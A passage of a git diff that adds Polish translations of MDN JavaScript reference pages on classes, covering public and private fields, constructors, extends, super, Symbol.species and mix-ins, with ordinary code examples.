+<p>Publiczna i prywatne deklaracje pól są <a href="https://github.com/tc39/proposal-class-fields">funkcjonalnościami eksperymentalnymi</a> zaproponowanymi na <a href="https://tc39.es">TC39</a>. Wsparcie przeglądarek jest ograniczone, ale ta funkcjonalność może być używana przy użyciu systemów takich jak <a href="https://babeljs.io/">Babel</a>. </p>
+</div>
+
+<h4 id="Deklaracje_pól_publicznych">Deklaracje pól publicznych</h4>
+
+<p>Przy użyciu deklaracji pól, powyższy przykład może być przepisany na:</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ height = 0;
+ width;
+ constructor(height, width) {
+ this.height = height;
+ this.width = width;
+ }
+}
+</pre>
+
+<p>Dzięki deklarowaniu pól na początku klasy, definicje klas stają się bardziej samodokumentujące, a pola są zawsze obecne.</p>
+
+<p>Jak widać w powyższym przykładzie, pola mogą być zadeklarowane z lub bez domyślnej wartości.</p>
+
+<p>Zobacz <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields">public class fields</a> po więcej informacji.</p>
+
+<h4 id="Deklaracje_pól_prywatnych">Deklaracje pól prywatnych</h4>
+
+<p>Używając deklaracji pól prywatnych, definicja może być zapisana w taki sposób:</p>
+
+<pre class="brush: js notranslate">class Rectangle {
+ #height = 0;
+ #width;
+ constructor(height, width) {
+ this.#height = height;
+ this.#width = width;
+ }
+}
+</pre>
+
+<p>Próba odniesienia się do prywatnego pola poza ciałem klasy wygeneruje błąd. Prywatne pola mogą być tylko odczytywane i modyfikowane wewnątrz ciała klasy. Poprzez definicję właściwości niewidocznych poza ciałem klasy, można zapewnić, że użytkownicy klasy nie będą polegali na jej wewnętrznych właściwościach.</p>
+
+<div class="note">
+<p>Pola prywatne mogą być tylko zadeklarowane na początku ciała klasy</p>
+</div>
+
+<p>Prywatnych pól nie da się utworzyć później, poprzez przypisywanie, tak jak normalnych właściwości.</p>
+
+<p>Po więcej informacji zobacz <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields">private class fields</a>.</p>
+
+<h2 id="Podklasy_z_extends">Podklasy z <code>extends</code></h2>
+
+<p>Słowo kluczowe <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> jest używane w <em>deklaracjach klas</em> lub <em>wyrażeniach klas</em> do tworzenia klasy jako elementu potomnego innej klasy.</p>
+
+<pre class="brush: js notranslate">class Animal {
+ constructor(name) {
+  this.name = name;
+  }
+
+  speak() {
+ console.log(this.name + ' makes a noise.');
+  }
+}
+
+class Dog extends Animal {
+ constructor(name) {
+ super(name); // wywyłanie konstruktora klasy nadrzędnej poprzez użycie super()
+ }
+ speak() {
+ console.log(this.name + ' barks.');
+  }
+}
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie barks.
+</pre>
+
+<p>Jeśli w podklasie znajduje się konstruktor, musi najpierw wywołać super() przed użyciem "this".</p>
+
+<p>Można również rozszerzyć tradycyjne klasy oparte na funkcjach:</p>
+
+<pre class="brush: js notranslate">function Animal (name) {
+ this.name = name;
+}
+
+Animal.prototype.speak = function () {
+ console.log(this.name + ' makes a noise.');
+}
+
+class Dog extends Animal {
+ speak() {
+ console.log(this.name + ' barks.');
+ }
+}
+
+let d = new Dog('Mitzie');
+d.speak(); // Mitzie barks
+</pre>
+
+<p>Zwróć uwagę, że klasy nie mogą rozszerzać zwykłych (niezdatnych do konstrukcji) obiektów. Jeśli chcesz dziedziczyć po zwykłym obiekcie, możesz, zamiast tego użyć {{jsxref ("Object.setPrototypeOf()")}}:</p>
+
+<pre class="brush: js notranslate">var Animal = {
+ speak() {
+ console.log(this.name + ' makes a noise.');
+ }
+};
+
+class Dog {
+ constructor(name) {
+ this.name = name;
+ }
+}
+
+Object.setPrototypeOf(Dog.prototype, Animal);// If you do not do this you will get a TypeError when you invoke speak
+
+let d = new Dog('Mitzie');
+d.speak(); //Mitzie makes a noise.
+</pre>
+
+<h2 id="Species">Species</h2>
+
+<p>Jeśli chcesz zwrócić obiekt {{jsxref("Array")}} w twojej klasie <code>MyArray</code>, która dziedziczy po <code>Array</code>, to możesz użyć wzorca "species", który pozwala na nadpisywanie domyślnych konstruktorów.</p>
+
+<p>Na przykład, wywołanie metody {{jsxref("Array.map", "map()")}} zwraca domyślny konstruktor <code>MyArray</code>. Użycie {{jsxref("Symbol.species")}} pozwala na nadpisanie tego zachowania tak, by zwracany był obiekt typu <code>Array</code>, a nie <code>MyArray</code>:</p>
+
+<pre class="brush: js notranslate">class MyArray extends Array {
+ // Nadpisanie domyślnego kontruktora
+ static get [Symbol.species]() { return Array; }
+}
+
+var a = new MyArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MyArray); // false
+console.log(mapped instanceof Array); // true
+</pre>
+
+<h2 id="Słowo_kluczowe_super">Słowo kluczowe <code>super</code></h2>
+
+<p>Słowo kluczowe <strong>super </strong>jest wykorzystywane do udostępniania i korzystania z funkcji klasy, po której nasz obiekt dziedziczy.</p>
+
+<pre class="brush: js notranslate">class Cat {
+ constructor(name) {
+ this.name = name;
+ }
+
+ speak() {
+ console.log(`${this.name} makes a noise.`);
+ }
+}
+
+class Lion extends Cat {
+ speak() {
+ super.speak();
+ console.log(`${this.name} roars.`);
+ }
+}
+
+let l = new Lion('Fuzzy');
+l.speak();
+// Fuzzy makes a noise.
+// Fuzzy roars.</pre>
+
+<h2 id="Mix-ins">Mix-ins</h2>
+
+<p>Abstrakcyjne podklasy lub <em>mix-ins</em> są szablonami dla klas. Klasa może mieć tylko jedną klasę nadrzędną, więc dziedziczenie z wielu klas jest niemożliwe. Cała funkcjonalność musi być dostarczona przez jedną klasę nadrzędną.</p>
+
+<p>Funkcja przyjmująca klasę nadrzędną jako argument i zwracająca podklasę rozszerzającą klasę nadrzędną może być użyta do implementacji mix-in'ów:</p>
+
+<pre class="brush: js notranslate">var calculatorMixin = Base =&gt; class extends Base {
+ calc() { }
+};
+
+var randomizerMixin = Base =&gt; class extends Base {
+ randomize() { }
+};
+</pre>
+
+<p>Klasa używająca tych mix-in'ów może być zapisana w taki sposób:</p>
+
+<pre class="brush: js notranslate">class Foo { }
+class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<p>{{Compat("javascript.classes")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Blog post: "ES6 In Depth: Classes"</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/classes/konstruktor/index.html b/files/pl/web/javascript/reference/classes/konstruktor/index.html
new file mode 100644
index 0000000000..353adecd19
--- /dev/null
+++ b/files/pl/web/javascript/reference/classes/konstruktor/index.html
@@ -0,0 +1,188 @@
+---
+title: Konstruktor
+slug: Web/JavaScript/Reference/Classes/Konstruktor
+tags:
+ - Classes
+ - JavaScript
+ - Language feature
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>Konstruktor <span id="result_box" lang="pl"><span>jest specjalną metodą tworzenia i inicjowania obiektu utworzonego w klasie.</span></span></p>
+
+<p>{{EmbedInteractiveExample("pages/js/classes-constructor.html")}}</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">constructor([arguments]) { ... }</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Konstruktor umożliwia zdefiniowanie inicjalizacji obiektu, która musi się wykonać, zanim będzie można wywołać metody obiektu.</p>
+
+<pre class="brush: js notranslate">class Person {
+
+ constructor(name) {
+ this.name = name;
+ }
+
+ introduce() {
+ console.log(`Hello, my name is ${this.name}`);
+ }
+
+}
+
+const otto = new Person('Otto');
+
+otto.introduce();</pre>
+
+<p>Jeśli niestandardowy konstruktor nie został podany, to domyślny konstruktor będzie użyty. Dla klas bazowych konstruktor domyślny jest pusty:</p>
+
+<pre class="brush: js notranslate">constructor() {}</pre>
+
+<p>Dla klas pochodnych domyślny konstruktor wywołuje konstruktor klasy nadrzędnej:</p>
+
+<pre class="brush: js notranslate">constructor(...args) {
+ super(...args);
+}</pre>
+
+<p>Pozwala to na działanie takiego kodu:</p>
+
+<pre class="brush: js notranslate">class ValidationError extends Error {
+
+ printCustomerMessage() {
+ return `Validation failed :-( (details: ${this.message})`;
+ }
+
+}
+
+try {
+ throw new ValidationError("Not a valid phone number");
+} catch (error) {
+ if (error instanceof ValidationError) {
+ console.log(error.name); // This is Error instead of ValidationError!
+ console.log(error.printCustomerMessage());
+ } else {
+ console.log('Unknown error', error);
+ throw error;
+ }
+}</pre>
+
+<p>Klasa <code>ValidationError</code> nie musi mieć niestandardowego konstruktora, ponieważ domyślny konstruktor wywołuje konstruktor klasy <code>Error</code>.</p>
+
+<p>Jeśli jednak klasa <code>ValidationError</code> ma niestandardowy konstruktor, to musi on wywoływać konstruktor klasy nadrzędnej przy użyciu <code>super</code>:</p>
+
+<pre class="brush: js notranslate">class ValidationError extends Error {
+
+ constructor(message) {
+ super(message); // call parent class constructor
+ this.name = 'ValidationError';
+ this.code = '42';
+ }
+
+ printCustomerMessage() {
+ return `Validation failed :-( (details: ${this.message}, code: ${this.code})`;
+ }
+
+}
+
+try {
+ throw new ValidationError("Not a valid phone number");
+} catch (error) {
+ if (error instanceof ValidationError) {
+ console.log(error.name); // Now this is ValidationError!
+ console.log(error.printCustomerMessage());
+ } else {
+ console.log('Unknown error', error);
+ throw error;
+ }
+}</pre>
+
+<p>Wewnątrz klasy może być tylko jedna metoda nazwana <code>constructor</code>. Jeżeli <code>constructor</code> wystąpi więcej niż jeden raz, to wygeneruje błąd {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_konstruktora">Używanie konstruktora</h3>
+
+<p>Fragment kodu pochodzi z <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p>
+
+<pre class="brush: js notranslate">class Square extends Polygon {
+ constructor(length) {
+ // Wywołanie konstruktora klasy nadrzędnej
+ // określenie szerokości i wysokości wielokątu
+ super(length, length);
+ // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż
+ // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia.
+ this.name = 'Square';
+ }
+
+ get area() {
+ return this.height * this.width;
+ }
+
+ set area(value) {
+ this.area = value;
+ }
+}</pre>
+
+<h3 id="Inny_przykład">Inny przykład</h3>
+
+<p>W tym przykładzie klasa <code>Square</code> jest zmieniona — ale konstruktor klasy <code>Polygon</code> nadal jest wywoływany przy tworzeniu nowej instancji klasy <code>Square</code>.</p>
+
+<pre class="brush: js notranslate">class Polygon {
+ constructor() {
+ this.name = "Polygon";
+ }
+}
+
+class Square extends Polygon {
+ constructor() {
+ super();
+ }
+}
+
+class Rectangle {}
+
+Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+
+console.log(Object.getPrototypeOf(Square.prototype) === Polygon.prototype); //false
+console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //true
+
+let newInstance = new Square();
+console.log(newInstance.name); //Polygon</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<p>{{Compat("javascript.classes.constructor")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/classes/private_class_fields/index.html b/files/pl/web/javascript/reference/classes/private_class_fields/index.html
new file mode 100644
index 0000000000..6b55474d5b
--- /dev/null
+++ b/files/pl/web/javascript/reference/classes/private_class_fields/index.html
@@ -0,0 +1,205 @@
+---
+title: Private class fields
+slug: Web/JavaScript/Reference/Classes/Private_class_fields
+tags:
+ - Classes
+ - JavaScript
+ - Language feature
+translation_of: Web/JavaScript/Reference/Classes/Private_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>Właściwości klas są domyślnie publiczne i mogą być wywoływane i modyfikowane poza klasą. Istnieje jednak <a href="https://github.com/tc39/proposal-class-fields">funkcjonalność eksperymentalna</a> pozwalająca na zdefiniowanie pól prywatnych klasy przy użyciu <code>#</code> przed nazwą pola.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">class ClassWithPrivateField {
+ #privateField
+}
+
+class ClassWithPrivateMethod {
+ #privateMethod() {
+ return 'hello world'
+ }
+}
+
+class ClassWithPrivateStaticField {
+ static #PRIVATE_STATIC_FIELD
+}
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Prywatne_pola_statyczne">Prywatne pola statyczne</h3>
+
+<p>Pola prywatne są dostępne z poziomu konstruktora klasy ze środka ciała klasy.</p>
+
+<p>Prywatne pola statyczne są tylko dostępne z poziomu statycznych metod. </p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+  }
+}
+
+console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p>Prywatne pola statyczne są dodawane do konstruktora klasy podczas wykonywania klasy.</p>
+
+<p>Tylko klasa, która definiuje prywatne pola statyczne, może mieć do nich dostęp.</p>
+
+<p>Może to prowadzić to nieoczekiwanego zachowania podczas używania <strong><code>this</code></strong>.</p>
+
+<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42
+    return this.#PRIVATE_STATIC_FIELD
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+let error = null
+
+try {
+ SubClass.basePublicStaticMethod()
+} catch(e) { error = e}
+
+console.assert(error instanceof TypeError)
+</pre>
+
+<h3 id="Prywatne_pola_instancji">Prywatne pola instancji</h3>
+
+<p>Prywatne pola instancji są deklarowane przy użyciu <strong># names </strong>("<em>hash names</em>"), czyli nazw poprzedzonych <code>#</code>. Znak <code>#</code> jest częścią nazwy. Jest używany do deklaracji i dostępu do właściwości.</p>
+
+<p>Enkapsulacja jest wymuszona przez język. Próba dostępu do prywatnego pola poza klasą wygeneruje błąd <code>Syntax Error</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateField {
+  #privateField
+
+  constructor() {
+    this.#privateField = 42
+    this.#randomField = 444 // Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Syntax error
+</pre>
+
+<h3 id="Prywatne_metody">Prywatne metody</h3>
+
+<h4 id="Prywatne_metody_statyczne">Prywatne metody statyczne</h4>
+
+<p>Podobnie jak ich publiczne odpowiedniki, prywatne metody statyczne są wywoływane przez samą klasę, a nie jej instancje. Podobnie jak pola prywatne, są dostępne tylko z poziomu ciała klasy.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42
+    }
+
+    static publicStaticMethod1() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+
+    static publicStaticMethod2() {
+       return this.#privateStaticMethod();
+  }
+}
+
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42);
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42);
+</pre>
+
+<p>Może to prowadzić do nieoczekiwanego zachowania przy używaniu <strong><code>this</code></strong>. W poniższym przykładzie <code>this</code> odnosi się do klasy <code>Derived</code> (a nie klasy <code>Base</code>) podczas wywołania metody <code>Derived.publicStaticMethod2()</code>, co powoduje błąd.</p>
+
+<pre class="brush: js notranslate">class Base {
+    static #privateStaticMethod() {
+        return 42;
+    }
+    static publicStaticMethod1() {
+        return Base.#privateStaticMethod();
+    }
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError
+</pre>
+
+<h4 id="Prywatne_metody_instancji">Prywatne metody instancji</h4>
+
+<p>Prywatne metody instancji to metody dostępne dla instancji klasy, które mają podobne ograniczenia co prywatne pola instancji.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+
+  getPrivateMessage() {
+      return this.#privateMethod()
+  }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p>Prywatne metody mogą używać async lub być generatorami. Możliwe jest również tworzenie prywatnych getter'ów i setter'ów:</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateAccessor {
+  #message
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world'
+    console.log(this.#decoratedMessage)
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_2"><a id="Kompatybilność" name="Kompatybilność">Kompatybilność</a></h2>
+
+
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Classes/Public_class_fields">Public class fields</a></li>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/classes/public_class_fields/index.html b/files/pl/web/javascript/reference/classes/public_class_fields/index.html
new file mode 100644
index 0000000000..780300e64f
--- /dev/null
+++ b/files/pl/web/javascript/reference/classes/public_class_fields/index.html
@@ -0,0 +1,269 @@
+---
+title: Public class fields
+slug: Web/JavaScript/Reference/Classes/Public_class_fields
+tags:
+ - Classes
+ - JavaScript
+ - Language feature
+translation_of: Web/JavaScript/Reference/Classes/Public_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<div>
+<div class="note">
+<p><strong>Ta strona opisuje funkcjonalności eksperymentalne</strong></p>
+
+<p>Deklaracje pól publicznych i prywatnych są <a class="external external-icon" href="https://github.com/tc39/proposal-class-fields" rel="noopener">funkcjonalnościami eksperymentalnymi (stage 3)</a> zaproponowanymi na <a class="external external-icon" href="https://tc39.github.io/beta/" rel="noopener">TC39</a>.</p>
+
+<p>Wsparcie przeglądarek jest ograniczone, ale ta funkcjonalność może być używana przy użyciu systemów takich jak <a class="external external-icon" href="https://babeljs.io/" rel="noopener">Babel</a>. Zobacz <a href="#Kompatybilność">tabelę kompatybilności</a> poniżej.</p>
+</div>
+</div>
+
+<p>Zarówno statyczne, jak i instancyjne pola publiczne są właściwościami zapisywalnymi, wyliczalnymi i konfigurowalnymi. W przeciwieństwie do ich prywatnych odpowiedników uczestniczą w dziedziczeniu prototypów.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">class ClassWithInstanceField {
+  instanceField = 'instance field'
+}
+
+class ClassWithStaticField {
+ static staticField = 'static field'
+}
+
+class ClassWithPublicInstanceMethod {
+  publicMethod() {
+    return 'hello world'
+  }
+}
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Publiczne_pola_statyczne">Publiczne pola statyczne</h3>
+
+<p>Publiczne pola statyczne są użyteczne, gdy chcesz, aby pole istniało tylko raz dla danej klasy, a nie dla każdej tworzonej instancji klasy. Jest to użyteczne w przypadku cache'ów, stałej konfiguracji lub innych danych, które nie muszą być replikowane na wszystkich instancjach.</p>
+
+<p>Publiczne pola statyczne są deklarowane z użyciem słowa kluczowego <code>static</code>. Są dodawane do konstruktora klasy podczas jej wykonywania z użyciem {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Są one dostępne z poziomu konstruktora klasy.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static staticField = 'static field'
+}
+
+console.log(ClassWithStaticField.staticField)
+// expected output: "static field"​
+</pre>
+
+<p>Pola bez inicjalizatorów są ustawiane na <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static staticField
+}
+
+console.assert(ClassWithStaticField.hasOwnProperty('staticField'))
+console.log(ClassWithStaticField.staticField)
+// expected output: "undefined"</pre>
+
+<p>Publiczne pola statyczne nie są inicjalizowane ponownie w podklasach, ale można uzyskać do nich dostęp przez łańcuch prototypów.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static baseStaticField = 'base field'
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = 'sub class field'
+}
+
+console.log(SubClassWithStaticField.subStaticField)
+// expected output: "sub class field"
+
+console.log(SubClassWithStaticField.baseStaticField)
+// expected output: "base field"</pre>
+
+<p>Przy inicjalizacji pól, <code>this</code> odnosi się do konstruktora klasy. Można się również odwołać przez nazwę i użyć <code>super</code> do otrzymania konstruktora klasy nadrzędnej (jeżeli istnieje).</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static baseStaticField = 'base static field'
+  static anotherBaseStaticField = this.baseStaticField
+
+  static baseStaticMethod() { return 'base static method output' }
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = super.baseStaticMethod()
+}
+
+console.log(ClassWithStaticField.anotherBaseStaticField)
+// expected output: "base static field"
+
+console.log(SubClassWithStaticField.subStaticField)
+// expected output: "base static method output"
+</pre>
+
+<h3 id="Publiczne_pola_instancyjne">Publiczne pola instancyjne</h3>
+
+<p>Publiczne pola instancyjne istnieją na każdej utworzonej instancji danej klasy. Poprzez zadeklarowanie pola publicznego, można zapewnić, że pole jest zawsze obecne, a definicja klasy jest bardziej samodokumentująca.</p>
+
+<p>Publiczne pola instancyjne są dodawane przy użyciu {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} podczas wykonywania konstruktora klasy, lub po wywołaniu metody <code>super()</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+ instanceField = 'instance field'
+}
+
+const instance = new ClassWithInstanceField()
+console.log(instance.instanceField)
+// expected output: "instance field"</pre>
+
+<p>Pola bez inicjalizatorów są ustawiane na <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  instanceField
+}
+
+const instance = new ClassWithInstanceField()
+console.assert(instance.hasOwnProperty('instanceField'))
+console.log(instance.instanceField)
+// expected output: "undefined"</pre>
+
+<p>Podobnie jak właściwości, nazwy pól mogą być obliczane.</p>
+
+<pre class="brush: js notranslate">const PREFIX = 'prefix'
+
+class ClassWithComputedFieldName {
+    [`${PREFIX}Field`] = 'prefixed field'
+}
+
+const instance = new ClassWithComputedFieldName()
+console.log(instance.prefixField)
+// expected output: "prefixed field"</pre>
+
+<p>Przy inicjalizacji pól <code>this</code> odnosi się do instancji klasy. Tak jak w publicznych metodach instancji, można odnieść się do klasy nadrzędnej, używając <code>super</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  baseInstanceField = 'base field'
+  anotherBaseInstanceField = this.baseInstanceField
+  baseInstanceMethod() { return 'base method output' }
+}
+
+class SubClassWithInstanceField extends ClassWithInstanceField {
+  subInstanceField = super.baseInstanceMethod()
+}
+
+const base = new ClassWithInstanceField()
+const sub = new SubClassWithInstanceField()
+
+console.log(base.anotherBaseInstanceField)
+// expected output: "base field"
+
+console.log(sub.subInstanceField)
+// expected output: "base method output"</pre>
+
+<h3 id="Publiczne_metody">Publiczne metody</h3>
+
+<h4 id="Publiczne_metody_statyczne">Publiczne metody statyczne</h4>
+
+<p>Słowo kluczowe <code><strong>static</strong></code> definiuje metodę statyczną dla klasy. Metody statyczne nie są wywoływane na instancjach klasy, ale na samej klasie. Są to często funkcje użytkowe, takie jak funkcje tworzenia lub klonowania obiektów.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticMethod {
+ static staticMethod() {
+ return 'static method has been called.';
+ }
+}
+
+console.log(ClassWithStaticMethod.staticMethod());
+// expected output: "static method has been called."</pre>
+
+<p>Metody statyczne są dodawane do konstruktora klasy z użyciem {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} podczas wykonania klasy. Te metody są zapisywalne, niewyliczalne i konfigurowalne.</p>
+
+<h4 id="Publiczne_metody_instancyjne">Publiczne metody instancyjne</h4>
+
+<p>Jak nazwa wskazuje, publiczne metody instancji to metody dostępne na instancjach klasy.</p>
+
+<pre class="brush: js notranslate">class ClassWithPublicInstanceMethod {
+ publicMethod() {
+ return 'hello world'
+ }
+}
+
+const instance = new ClassWithPublicInstanceMethod()
+console.log(instance.publicMethod())
+// expected output: "hello worl​d"</pre>
+
+<p>Publiczne metody instancji są dodawane do prototypu klasy z użyciem {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} podczas wykonania klasy. Te metody są zapisywalne, niewyliczalne i konfigurowalne.</p>
+
+<p>Publiczne metody mogą używać async lub być generatorami.</p>
+
+<pre class="brush: js notranslate">class ClassWithFancyMethods {
+ *generatorMethod() { }
+ async asyncMethod() { }
+ async *asyncGeneratorMethod() { }
+}</pre>
+
+<p>Wewnątrz metod instancji, <code>this</code> odnosi się do samej instancji. W podklasach można użyć <code>super</code> do dostępu do prototypu klasy nadrzędnej, umożliwiając wywoływanie metod tej klasy.</p>
+
+<pre class="brush: js notranslate">class BaseClass {
+  msg = 'hello world'
+  basePublicMethod() {
+    return this.msg
+  }
+}
+
+class SubClass extends BaseClass {
+  subPublicMethod() {
+    return super.basePublicMethod()
+  }
+}
+
+const instance = new SubClass()
+console.log(instance.subPublicMethod())
+// expected output: "hello worl​d"
+</pre>
+
+<p>Getter'y i setter'y to specjalne metody, które wiążą się z właściwością danej klasy i są wywoływane, gdy właściwość jest odczytywana lub modyfikowana. Do tworzenia getter'ów i setter'ów należy użyć <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Reference/Functions/get">get</a> and <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Reference/Functions/set">set</a>.</p>
+
+<pre class="brush: js notranslate">class ClassWithGetSet {
+  #msg = 'hello world'
+  get msg() {
+    return this.#msg
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`
+  }
+}
+
+const instance = new ClassWithGetSet()
+console.log(instance.msg)
+// expected output: "hello worl​d"
+
+instance.msg = 'cake'
+console.log(instance.msg)
+// expected output: "hello cake"
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_2"><a name="Kompatybilność">Kompatybilność</a></h2>
+
+
+
+<p>{{Compat("javascript.classes.public_class_fields")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Reference/Classes/Private_class_fields">Private class fields</a></li>
